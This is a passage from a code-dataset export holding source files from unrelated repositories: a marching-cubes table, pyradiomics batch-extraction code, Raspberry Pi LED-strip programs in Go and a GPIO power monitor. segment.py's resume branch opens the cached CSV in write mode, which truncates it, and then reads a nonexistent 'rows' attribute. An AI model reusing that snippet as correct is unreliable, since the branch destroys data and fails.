-1 },\\n { 7, 8, 0, 7, 0, 6, 6, 0, 2, -1, -1, -1, -1, -1, -1, -1 },\\n { 7, 3, 2, 6, 7, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 2, 3, 11, 10, 6, 8, 10, 8, 9, 8, 6, 7, -1, -1, -1, -1 },\\n { 2, 0, 7, 2, 7, 11, 0, 9, 7, 6, 7, 10, 9, 10, 7, -1 },\\n { 1, 8, 0, 1, 7, 8, 1, 10, 7, 6, 7, 10, 2, 3, 11, -1 },\\n { 11, 2, 1, 11, 1, 7, 10, 6, 1, 6, 7, 1, -1, -1, -1, -1 },\\n { 8, 9, 6, 8, 6, 7, 9, 1, 6, 11, 6, 3, 1, 3, 6, -1 },\\n { 0, 9, 1, 11, 6, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 7, 8, 0, 7, 0, 6, 3, 11, 0, 11, 6, 0, -1, -1, -1, -1 },\\n { 7, 11, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 }\\n};\\n\\n// Vertlist represents the location of some point somewhere on an edge of the cube, relative to the origin (0, 0, 0).\\n// As the points on the cube are always either 0 or 1 (masked/not-masked) that other point is always halfway.\\n// Therefore, vertlist is constant and can be defined static (only works when the intersection point is constant\\n// (in this case the intersection point is always 0.5). The edge represented is defined by the gridAngle points as follows:\\n// { { 1, 0 }, { 2, 1 }, { 3, 2 }, { 3, 0 },\\n// { 5, 4 }, { 6, 5 }, { 7, 6 }, { 7, 4 },\\n// { 4, 0 }, { 5, 1 }, { 6, 2 }, { 7, 0 } }\\nstatic const double vertList[12][3] = { { 0, 0, 0.5 }, { 0, 0.5, 1 }, { 0, 1, 0.5 }, { 0, 0.5, 0 },\\n { 1, 0, 0.5 }, { 1, 0.5, 1 }, { 1, 1, 0.5 }, { 1, 0.5, 0 },\\n { 0.5, 0, 0 }, { 0.5, 0, 1 }, { 0.5, 1, 1 }, { 0.5, 1, 0 } };\\n\"\n },\n {\n \"alpha_fraction\": 0.6897942423820496,\n \"alphanum_fraction\": 0.6918798685073853,\n \"avg_line_length\": 35.693878173828125,\n \"blob_id\": \"c3816856c750a49291a6a87ce2dc817c665721f5\",\n \"content_id\": \"b21b6503235c5bf8952330ea14b90a6fa3e6e89e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7192,\n \"license_type\": \"permissive\",\n \"max_line_length\": 120,\n \"num_lines\": 196,\n \"path\": \"/radiomics/scripts/segment.py\",\n \"repo_name\": \"drmaxchen/pyradio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from collections import OrderedDict\\nimport csv\\nfrom datetime import datetime\\nfrom functools import partial\\nimport json\\nimport logging\\nimport os\\nimport threading\\n\\nimport numpy\\nimport SimpleITK as sitk\\nimport six\\n\\nfrom radiomics import featureextractor, setVerbosity\\n\\ncaseLogger = logging.getLogger('radiomics.script')\\n\\n\\ndef extractSegment(case_idx, case, config, config_override):\\n global caseLogger\\n\\n # Instantiate the output\\n feature_vector = OrderedDict(case)\\n\\n try:\\n t = datetime.now()\\n\\n imageFilepath = case['Image'] # Required\\n maskFilepath = case['Mask'] # Required\\n label = case.get('Label', None) # Optional\\n if isinstance(label, six.string_types):\\n label = int(label)\\n\\n # Instantiate Radiomics Feature extractor\\n extractor = featureextractor.RadiomicsFeaturesExtractor(config, **config_override)\\n\\n # Extract features\\n feature_vector.update(extractor.execute(imageFilepath, maskFilepath, label))\\n\\n # Display message\\n delta_t = datetime.now() - t\\n caseLogger.info('Patient %s processed in %s', case_idx, delta_t)\\n\\n except Exception:\\n caseLogger.error('Feature extraction failed!', exc_info=True)\\n\\n return feature_vector\\n\\n\\ndef extractSegment_parallel(args, parallel_config=None):\\n if parallel_config is not None:\\n _configurParallelExtraction(parallel_config)\\n # set thread name to patient name\\n threading.current_thread().name = 'case %s' % args[0] # args[0] = case_idx\\n return extractSegment(*args)\\n\\n\\ndef extractSegmentWithTempFiles(case_idx, case, config, config_override, temp_dir):\\n global caseLogger\\n\\n filename = os.path.join(temp_dir, 'features_%s.csv' % case_idx)\\n if os.path.isfile(filename):\\n # Output already generated, load result (prevents re-extraction in case of interrupted process)\\n with open(filename, 'w') as outputFile:\\n reader = csv.reader(outputFile)\\n headers = reader.rows[0]\\n values = reader.rows[1]\\n feature_vector = OrderedDict(zip(headers, values))\\n\\n caseLogger.info('Patient %s already processed, reading results...', case_idx)\\n else:\\n # Extract the set of features. Set parallel_config flag to None, as any logging initialization is already handled.\\n feature_vector = extractSegment(case_idx, case, config, config_override)\\n\\n # Store results in temporary separate files to prevent write conflicts\\n # This allows for the extraction to be interrupted. Upon restarting, already processed cases are found in the\\n # TEMP_DIR directory and loaded instead of re-extracted\\n with open(filename, 'w') as outputFile:\\n writer = csv.DictWriter(outputFile, fieldnames=list(feature_vector.keys()), lineterminator='\\\\n')\\n writer.writeheader()\\n writer.writerow(feature_vector)\\n\\n return feature_vector\\n\\n\\ndef extractSegmentWithTempFiles_parallel(args, parallel_config=None):\\n if parallel_config is not None:\\n _configurParallelExtraction(parallel_config)\\n # set thread name to patient name\\n threading.current_thread().name = 'case %s' % args[0] # args[0] = case_idx\\n return extractSegmentWithTempFiles(*args)\\n\\n\\ndef processOutput(results,\\n outStream,\\n skip_nans=False,\\n format_output='csv',\\n format_path='absolute',\\n relative_path_start=''):\\n global caseLogger\\n caseLogger.info('Processing results...')\\n\\n # Store the header of all calculated features\\n headers = results[0].keys()\\n\\n # Set the formatting rule for image and mask paths\\n if format_path == 'absolute':\\n pathFormatter = os.path.abspath\\n elif format_path == 'relative':\\n pathFormatter = partial(os.path.relpath, start=relative_path_start)\\n elif format_path == 'basename':\\n pathFormatter = os.path.basename\\n else:\\n caseLogger.warning('Unrecognized format for paths (%s), reverting to default (\\\"absolute\\\")', format_path)\\n pathFormatter = os.path.abspath\\n\\n for case_idx, case in enumerate(results, start=1):\\n # if specified, skip NaN values\\n if skip_nans:\\n for key in list(case.keys()):\\n if isinstance(case[key], float) and numpy.isnan(case[key]):\\n caseLogger.debug('Case %d, feature %s computed NaN, removing from results', case_idx, key)\\n del case[key]\\n\\n # Format paths of image and mask files\\n case['Image'] = pathFormatter(case['Image'])\\n case['Mask'] = pathFormatter(case['Mask'])\\n\\n # Write out results\\n if format_output not in ('csv', 'json', 'txt'):\\n caseLogger.warning('Unrecognized format for output (%s), reverting to default (\\\"csv\\\")', format_output)\\n format_output = 'csv'\\n\\n if format_output == 'csv':\\n writer = csv.DictWriter(outStream, headers, lineterminator='\\\\n')\\n if case_idx == 1:\\n writer.writeheader()\\n writer.writerow(case) # if skip_nans is enabled, nan-values are written as empty strings\\n elif format_output == 'json':\\n json.dump(case, outStream)\\n outStream.write('\\\\n')\\n else: # txt\\n for k, v in six.iteritems(case):\\n outStream.write('Case-%d_%s: %s\\\\n' % (case_idx, k, v))\\n\\n\\ndef _configurParallelExtraction(parallel_config):\\n \\\"\\\"\\\"\\n Initialize logging for parallel extraction. This needs to be done here, as it needs to be done for each thread that is\\n created.\\n \\\"\\\"\\\"\\n # Configure logging\\n ###################\\n\\n rLogger = logging.getLogger('radiomics')\\n\\n # Add logging to file is specified\\n logFile = parallel_config.get('logFile', None)\\n if logFile is not None:\\n logHandler = logging.FileHandler(filename=logFile, mode='a')\\n logHandler.setLevel(parallel_config.get('logLevel', logging.INFO))\\n rLogger.addHandler(logHandler)\\n\\n # Include thread name in Log-message output for all handlers.\\n parallelFormatter = logging.Formatter('[%(asctime)-.19s] %(levelname)-.1s: (%(threadName)s) %(name)s: %(message)s')\\n for h in rLogger.handlers:\\n h.setFormatter(parallelFormatter)\\n\\n if parallel_config.get('addFilter', True):\\n # Define filter that allows messages from specified filter and level INFO and up, and level WARNING and up from\\n # other loggers.\\n class info_filter(logging.Filter):\\n def __init__(self, name):\\n super(info_filter, self).__init__(name)\\n self.level = logging.WARNING\\n\\n def filter(self, record):\\n if record.levelno >= self.level:\\n return True\\n if record.name == self.name and record.levelno >= logging.INFO:\\n return True\\n return False\\n\\n # Adding the filter to the first handler of the radiomics logger limits the info messages on the output to just\\n # those from radiomics.script, but warnings and errors from the entire library are also printed to the output.\\n # This does not affect the amount of logging stored in the log file.\\n outputhandler = rLogger.handlers[0] # Handler printing to the output\\n outputhandler.addFilter(info_filter('radiomics.script'))\\n\\n # Ensures that log messages are being passed to the filter with the specified level\\n setVerbosity(parallel_config.get('verbosity', logging.INFO))\\n\\n # Ensure the entire extraction for each cases is handled on 1 thread\\n ####################################################################\\n\\n sitk.ProcessObject_SetGlobalDefaultNumberOfThreads(1)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":5,"string":"5"}}},{"rowIdx":2978375,"cells":{"repo_name":{"kind":"string","value":"thethorne48/rgb_test"},"repo_url":{"kind":"string","value":"https://github.com/thethorne48/rgb_test"},"snapshot_id":{"kind":"string","value":"99e055fe68d7dcbe1c324cfaeeb320810a7df915"},"revision_id":{"kind":"string","value":"7dae84c89dd41dad68d2ecf0bd91ca3a317f5851"},"directory_id":{"kind":"string","value":"396b35cd8fe16701bc7fea8d6cc5fa2608bd24f1"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-06-23T19:25:32.667070","string":"2020-06-23T19:25:32.667070"},"revision_date":{"kind":"timestamp","value":"2019-08-12T22:16:00","string":"2019-08-12T22:16:00"},"committer_date":{"kind":"timestamp","value":"2019-08-12T22:16:00","string":"2019-08-12T22:16:00"},"github_id":{"kind":"number","value":198731320,"string":"198,731,320"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5663924813270569,"alphanum_fraction":0.6180963516235352,"avg_line_length":18.19548797607422,"blob_id":"28a5ec47a5d2e725f473d65ba2a6e6190ea1693e","content_id":"33f3bff1121c96c236daee8e53f72b8853bb7566","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Go","length_bytes":2553,"license_type":"permissive","max_line_length":63,"num_lines":133,"path":"/rgb/old/rainbow.go","repo_name":"thethorne48/rgb_test","src_encoding":"UTF-8","text":"package main\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/jgarff/rpi_ws281x/golang/ws2811\"\n)\n\nconst (\n\tpin = 18\n\tcount = 150\n\tbrightness = 100\n\tmaxAngle = 360\n)\n\n// RGB - a set of arrays to hold pre-calculated RGB values\ntype RGB struct {\n\tred []uint8\n\tgreen []uint8\n\tblue []uint8\n}\n\nfunc main() {\n\tdefer ws2811.Fini()\n\tcolorValues := initRange(count)\n\terr := ws2811.Init(pin, count, brightness)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t} else {\n\t\tfmt.Println(\"Press Ctr-C to quit.\")\n\n\t\tfmt.Println(\"Creating cosine rainbow\")\n\t\tfor index := 0; index <= 1000; index++ {\n\t\t\terr = rainbowCosCycle(colorValues, index)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error during cycle \" + err.Error())\n\t\t\t\tos.Exit(-1)\n\t\t\t}\n\t\t}\n\n\t\tfmt.Println(\"Creating color flash\")\n\t\tcolors := [...]uint32{\n\t\t\t0xFF0000, // green\n\t\t\t0x888800, // yellow\n\t\t\t0x00FF00, // red\n\t\t\t0x00FFFF, // purple\n\t\t\t0x0000FF, // blue\n\t\t\t0xFF00FF, // cyan\n\t\t}\n\t\tfor i := 0; i < len(colors); i++ {\n\t\t\terr = colorFlash(colors[i])\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error during flash \" + err.Error())\n\t\t\t\tos.Exit(-1)\n\t\t\t}\n\t\t}\n\n\t}\n}\n\nfunc initRange(ledCount int) RGB {\n\tfloats := RGB{\n\t\tred: []uint8{},\n\t\tgreen: []uint8{},\n\t\tblue: []uint8{},\n\t}\n\n\tsegmentSize := (math.Pi * 3) / float64(ledCount)\n\tmaxBrightness := float64(180)\n\tpiDivision := float64(2)\n\n\tfor i := math.Pi * -1; i <= math.Pi*2; i += segmentSize {\n\t\tred := math.Sin(i/piDivision + math.Pi/2)\n\t\tblue := math.Sin(i / piDivision)\n\t\tfloats.red = SinAppend(floats.red, red, maxBrightness)\n\t\tfloats.blue = SinAppend(floats.blue, blue, maxBrightness)\n\t\tif i <= 0 {\n\t\t\tgreen := math.Sin(i/piDivision + math.Pi)\n\t\t\tfloats.green = SinAppend(floats.green, green, maxBrightness)\n\t\t} else {\n\t\t\tgreen := math.Sin(i/piDivision - math.Pi/2)\n\t\t\tfloats.green = SinAppend(floats.green, green, maxBrightness)\n\t\t}\n\t}\n\n\treturn floats\n}\n\nfunc rainbowCosCycle(floats RGB, seed int) error {\n\tfor i := 0; i < count; i++ {\n\t\tws2811.SetLed(i, RainbowCosColor(floats, i+seed))\n\t}\n\terr := ws2811.Render()\n\tif err != nil {\n\t\tws2811.Clear()\n\t\treturn err\n\t}\n\ttime.Sleep(5 * time.Millisecond)\n\treturn nil\n}\n\nfunc colorWipe(color uint32) error {\n\tfor i := 0; i < count; i++ {\n\t\tws2811.SetLed(i, color)\n\t\terr := ws2811.Render()\n\t\tif err != nil {\n\t\t\tws2811.Clear()\n\t\t\treturn err\n\t\t}\n\n\t\ttime.Sleep(5 * time.Millisecond)\n\t}\n\n\treturn nil\n}\n\nfunc colorFlash(color uint32) error {\n\tfor i := 0; i < count; i++ {\n\t\tws2811.SetLed(i, color)\n\t}\n\terr := ws2811.Render()\n\tif err != nil {\n\t\tws2811.Clear()\n\t\treturn err\n\t}\n\n\ttime.Sleep(5 * time.Second)\n\n\treturn nil\n}\n"},{"alpha_fraction":0.5610389709472656,"alphanum_fraction":0.5896103978157043,"avg_line_length":20.38888931274414,"blob_id":"131f3fcac07c3b4aa6be92e53a94590b56121a22","content_id":"851523451d172cff58083458fc30d41c1c9c6617","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":385,"license_type":"permissive","max_line_length":59,"num_lines":18,"path":"/power_test.py","repo_name":"thethorne48/rgb_test","src_encoding":"UTF-8","text":"#!/usr/bin/python\nimport RPi.GPIO as GPIO\nimport time\n\nredLED = 35\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(redLED, GPIO.IN)\n\npowerlow = 0\nwhile True:\n if(GPIO.input(redLED) == 0):\n print(\"POWER dipped below 4.63V\")\n powerlow += 1\n else:\n powerlow = 0\n if (powerlow > 3):\n print(f\"Low power for {str(powerlow)} seconds\")\n time.sleep(1)\n"},{"alpha_fraction":0.7555555701255798,"alphanum_fraction":0.7777777910232544,"avg_line_length":44.25,"blob_id":"09dcfc4ae1ce33ca28d1ad07f206d712897aa543","content_id":"b1557bdff751bfaebdb73ad58cc6674ac0be4b26","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":180,"license_type":"permissive","max_line_length":129,"num_lines":4,"path":"/README.md","repo_name":"thethorne48/rgb_test","src_encoding":"UTF-8","text":"# rgb_test\nTesting controlling an RGB light strip\n\n[](https://build.snapcraft.io/user/thethorne48/rgb_test)"},{"alpha_fraction":0.5649484395980835,"alphanum_fraction":0.6061855554580688,"avg_line_length":17.417720794677734,"blob_id":"8732eb68f314fcd63f4b57c3ea2874ca983eec4c","content_id":"c0a8f68a61ddc40f302a4b661b63279dbaab9f2f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Go","length_bytes":1455,"license_type":"permissive","max_line_length":57,"num_lines":79,"path":"/rgb/rgb.go","repo_name":"thethorne48/rgb_test","src_encoding":"UTF-8","text":"package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"time\"\n\n\tws \"github.com/rpi-ws281x/rpi-ws281x-go\"\n)\n\nconst (\n\tpin = 18\n\tcount = 150\n\tbrightness = 100\n)\n\n// main test program\nfunc main() {\n\topt := ws.DefaultOptions\n\topt.Channels[0].LedCount = count\n\topt.Channels[0].Brightness = brightness\n\n\tled, err := ws.MakeWS2811(&opt)\n\tif err != nil {\n\t\t// desc := ws.StatusDesc(err.)\n\t\tpanic(err)\n\t}\n\terr = led.Init()\n\tdefer led.Fini()\n\tif err != nil {\n\t\t// desc := ws.StatusDesc(err.)\n\t\tpanic(err)\n\t}\n\n\tfmt.Println(\"Press Ctr-C to quit.\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t} else {\n\t\tfor ok := true; ok; {\n\t\t\tfmt.Println(\"Creating blue color wipe\")\n\t\t\terr = colorWipe(led, uint32(0x000020))\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error during wipe \" + err.Error())\n\t\t\t\tos.Exit(-1)\n\t\t\t}\n\n\t\t\tfmt.Println(\"Creating red color wipe\")\n\t\t\terr = colorWipe(led, uint32(0x002000))\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error during wipe \" + err.Error())\n\t\t\t\tos.Exit(-1)\n\t\t\t}\n\n\t\t\tfmt.Println(\"Creating green color wipe\")\n\t\t\terr = colorWipe(led, uint32(0x200000))\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error during wipe \" + err.Error())\n\t\t\t\tos.Exit(-1)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc colorWipe(instance *ws.WS2811, color uint32) error {\n\tcolors := instance.Leds(0)\n\tfor i := 0; i < count; i++ {\n\t\tcolors[i] = color\n\t\terr := instance.SetLedsSync(0, colors)\n\t\terr = instance.Render()\n\t\tif err != nil {\n\t\t\tinstance.Wait()\n\t\t\treturn err\n\t\t}\n\n\t\ttime.Sleep(5 * time.Millisecond)\n\t}\n\n\treturn nil\n}\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5663924813270569,\n \"alphanum_fraction\": 0.6180963516235352,\n \"avg_line_length\": 18.19548797607422,\n \"blob_id\": \"28a5ec47a5d2e725f473d65ba2a6e6190ea1693e\",\n \"content_id\": \"33f3bff1121c96c236daee8e53f72b8853bb7566\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Go\",\n \"length_bytes\": 2553,\n \"license_type\": \"permissive\",\n \"max_line_length\": 63,\n \"num_lines\": 133,\n \"path\": \"/rgb/old/rainbow.go\",\n \"repo_name\": \"thethorne48/rgb_test\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"package main\\n\\nimport (\\n\\t\\\"fmt\\\"\\n\\t\\\"math\\\"\\n\\t\\\"os\\\"\\n\\t\\\"time\\\"\\n\\n\\t\\\"github.com/jgarff/rpi_ws281x/golang/ws2811\\\"\\n)\\n\\nconst (\\n\\tpin = 18\\n\\tcount = 150\\n\\tbrightness = 100\\n\\tmaxAngle = 360\\n)\\n\\n// RGB - a set of arrays to hold pre-calculated RGB values\\ntype RGB struct {\\n\\tred []uint8\\n\\tgreen []uint8\\n\\tblue []uint8\\n}\\n\\nfunc main() {\\n\\tdefer ws2811.Fini()\\n\\tcolorValues := initRange(count)\\n\\terr := ws2811.Init(pin, count, brightness)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t} else {\\n\\t\\tfmt.Println(\\\"Press Ctr-C to quit.\\\")\\n\\n\\t\\tfmt.Println(\\\"Creating cosine rainbow\\\")\\n\\t\\tfor index := 0; index <= 1000; index++ {\\n\\t\\t\\terr = rainbowCosCycle(colorValues, index)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Error during cycle \\\" + err.Error())\\n\\t\\t\\t\\tos.Exit(-1)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tfmt.Println(\\\"Creating color flash\\\")\\n\\t\\tcolors := [...]uint32{\\n\\t\\t\\t0xFF0000, // green\\n\\t\\t\\t0x888800, // yellow\\n\\t\\t\\t0x00FF00, // red\\n\\t\\t\\t0x00FFFF, // purple\\n\\t\\t\\t0x0000FF, // blue\\n\\t\\t\\t0xFF00FF, // cyan\\n\\t\\t}\\n\\t\\tfor i := 0; i < len(colors); i++ {\\n\\t\\t\\terr = colorFlash(colors[i])\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Error during flash \\\" + err.Error())\\n\\t\\t\\t\\tos.Exit(-1)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t}\\n}\\n\\nfunc initRange(ledCount int) RGB {\\n\\tfloats := RGB{\\n\\t\\tred: []uint8{},\\n\\t\\tgreen: []uint8{},\\n\\t\\tblue: []uint8{},\\n\\t}\\n\\n\\tsegmentSize := (math.Pi * 3) / float64(ledCount)\\n\\tmaxBrightness := float64(180)\\n\\tpiDivision := float64(2)\\n\\n\\tfor i := math.Pi * -1; i <= math.Pi*2; i += segmentSize {\\n\\t\\tred := math.Sin(i/piDivision + math.Pi/2)\\n\\t\\tblue := math.Sin(i / piDivision)\\n\\t\\tfloats.red = SinAppend(floats.red, red, maxBrightness)\\n\\t\\tfloats.blue = SinAppend(floats.blue, blue, maxBrightness)\\n\\t\\tif i <= 0 {\\n\\t\\t\\tgreen := math.Sin(i/piDivision + math.Pi)\\n\\t\\t\\tfloats.green = SinAppend(floats.green, green, maxBrightness)\\n\\t\\t} else {\\n\\t\\t\\tgreen := math.Sin(i/piDivision - math.Pi/2)\\n\\t\\t\\tfloats.green = SinAppend(floats.green, green, maxBrightness)\\n\\t\\t}\\n\\t}\\n\\n\\treturn floats\\n}\\n\\nfunc rainbowCosCycle(floats RGB, seed int) error {\\n\\tfor i := 0; i < count; i++ {\\n\\t\\tws2811.SetLed(i, RainbowCosColor(floats, i+seed))\\n\\t}\\n\\terr := ws2811.Render()\\n\\tif err != nil {\\n\\t\\tws2811.Clear()\\n\\t\\treturn err\\n\\t}\\n\\ttime.Sleep(5 * time.Millisecond)\\n\\treturn nil\\n}\\n\\nfunc colorWipe(color uint32) error {\\n\\tfor i := 0; i < count; i++ {\\n\\t\\tws2811.SetLed(i, color)\\n\\t\\terr := ws2811.Render()\\n\\t\\tif err != nil {\\n\\t\\t\\tws2811.Clear()\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\ttime.Sleep(5 * time.Millisecond)\\n\\t}\\n\\n\\treturn nil\\n}\\n\\nfunc colorFlash(color uint32) error {\\n\\tfor i := 0; i < count; i++ {\\n\\t\\tws2811.SetLed(i, color)\\n\\t}\\n\\terr := ws2811.Render()\\n\\tif err != nil {\\n\\t\\tws2811.Clear()\\n\\t\\treturn err\\n\\t}\\n\\n\\ttime.Sleep(5 * time.Second)\\n\\n\\treturn nil\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.5610389709472656,\n \"alphanum_fraction\": 0.5896103978157043,\n \"avg_line_length\": 20.38888931274414,\n \"blob_id\": \"131f3fcac07c3b4aa6be92e53a94590b56121a22\",\n \"content_id\": \"851523451d172cff58083458fc30d41c1c9c6617\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 385,\n \"license_type\": \"permissive\",\n \"max_line_length\": 59,\n \"num_lines\": 18,\n \"path\": \"/power_test.py\",\n \"repo_name\": \"thethorne48/rgb_test\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python\\nimport RPi.GPIO as GPIO\\nimport time\\n\\nredLED = 35\\nGPIO.setmode(GPIO.BCM)\\nGPIO.setup(redLED, GPIO.IN)\\n\\npowerlow = 0\\nwhile True:\\n if(GPIO.input(redLED) == 0):\\n print(\\\"POWER dipped below 4.63V\\\")\\n powerlow += 1\\n else:\\n powerlow = 0\\n if (powerlow > 3):\\n print(f\\\"Low power for {str(powerlow)} seconds\\\")\\n time.sleep(1)\\n\"\n },\n {\n \"alpha_fraction\": 0.7555555701255798,\n \"alphanum_fraction\": 0.7777777910232544,\n \"avg_line_length\": 44.25,\n \"blob_id\": \"09dcfc4ae1ce33ca28d1ad07f206d712897aa543\",\n \"content_id\": \"b1557bdff751bfaebdb73ad58cc6674ac0be4b26\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 180,\n \"license_type\": \"permissive\",\n \"max_line_length\": 129,\n \"num_lines\": 4,\n \"path\": \"/README.md\",\n \"repo_name\": \"thethorne48/rgb_test\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# rgb_test\\nTesting controlling an RGB light strip\\n\\n[](https://build.snapcraft.io/user/thethorne48/rgb_test)\"\n },\n {\n \"alpha_fraction\": 0.5649484395980835,\n \"alphanum_fraction\": 0.6061855554580688,\n \"avg_line_length\": 17.417720794677734,\n \"blob_id\": \"8732eb68f314fcd63f4b57c3ea2874ca983eec4c\",\n \"content_id\": \"c0a8f68a61ddc40f302a4b661b63279dbaab9f2f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Go\",\n \"length_bytes\": 1455,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 79,\n \"path\": \"/rgb/rgb.go\",\n \"repo_name\": \"thethorne48/rgb_test\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"package main\\n\\nimport (\\n\\t\\\"fmt\\\"\\n\\t\\\"os\\\"\\n\\t\\\"time\\\"\\n\\n\\tws \\\"github.com/rpi-ws281x/rpi-ws281x-go\\\"\\n)\\n\\nconst (\\n\\tpin = 18\\n\\tcount = 150\\n\\tbrightness = 100\\n)\\n\\n// main test program\\nfunc main() {\\n\\topt := ws.DefaultOptions\\n\\topt.Channels[0].LedCount = count\\n\\topt.Channels[0].Brightness = brightness\\n\\n\\tled, err := ws.MakeWS2811(&opt)\\n\\tif err != nil {\\n\\t\\t// desc := ws.StatusDesc(err.)\\n\\t\\tpanic(err)\\n\\t}\\n\\terr = led.Init()\\n\\tdefer led.Fini()\\n\\tif err != nil {\\n\\t\\t// desc := ws.StatusDesc(err.)\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tfmt.Println(\\\"Press Ctr-C to quit.\\\")\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t} else {\\n\\t\\tfor ok := true; ok; {\\n\\t\\t\\tfmt.Println(\\\"Creating blue color wipe\\\")\\n\\t\\t\\terr = colorWipe(led, uint32(0x000020))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Error during wipe \\\" + err.Error())\\n\\t\\t\\t\\tos.Exit(-1)\\n\\t\\t\\t}\\n\\n\\t\\t\\tfmt.Println(\\\"Creating red color wipe\\\")\\n\\t\\t\\terr = colorWipe(led, uint32(0x002000))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Error during wipe \\\" + err.Error())\\n\\t\\t\\t\\tos.Exit(-1)\\n\\t\\t\\t}\\n\\n\\t\\t\\tfmt.Println(\\\"Creating green color wipe\\\")\\n\\t\\t\\terr = colorWipe(led, uint32(0x200000))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Error during wipe \\\" + err.Error())\\n\\t\\t\\t\\tos.Exit(-1)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\\n\\nfunc colorWipe(instance *ws.WS2811, color uint32) error {\\n\\tcolors := instance.Leds(0)\\n\\tfor i := 0; i < count; i++ {\\n\\t\\tcolors[i] = color\\n\\t\\terr := instance.SetLedsSync(0, colors)\\n\\t\\terr = instance.Render()\\n\\t\\tif err != nil {\\n\\t\\t\\tinstance.Wait()\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\ttime.Sleep(5 * time.Millisecond)\\n\\t}\\n\\n\\treturn nil\\n}\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978376,"cells":{"repo_name":{"kind":"string","value":"benjaratc/Project1-Python-"},"repo_url":{"kind":"string","value":"https://github.com/benjaratc/Project1-Python-"},"snapshot_id":{"kind":"string","value":"4286548201e531ea957890d45f2653c108588ae7"},"revision_id":{"kind":"string","value":"3f4962da735480cd4706cb1db54cd90bd375d09a"},"directory_id":{"kind":"string","value":"9a93a0f642dbb0688bdeda5746c973a9b62eadc2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-09-10T00:17:50.857201","string":"2022-09-10T00:17:50.857201"},"revision_date":{"kind":"timestamp","value":"2020-05-29T13:13:24","string":"2020-05-29T13:13:24"},"committer_date":{"kind":"timestamp","value":"2020-05-29T13:13:24","string":"2020-05-29T13:13:24"},"github_id":{"kind":"number","value":267849521,"string":"267,849,521"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6097561120986938,"alphanum_fraction":0.6585366129875183,"avg_line_length":7.199999809265137,"blob_id":"cf1888079f1c9f2238951987995ddfe381615f6b","content_id":"f2b1ac2b36d0f268203b9842869553b91afe11b9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":41,"license_type":"no_license","max_line_length":18,"num_lines":5,"path":"/README.md","repo_name":"benjaratc/Project1-Python-","src_encoding":"UTF-8","text":"# 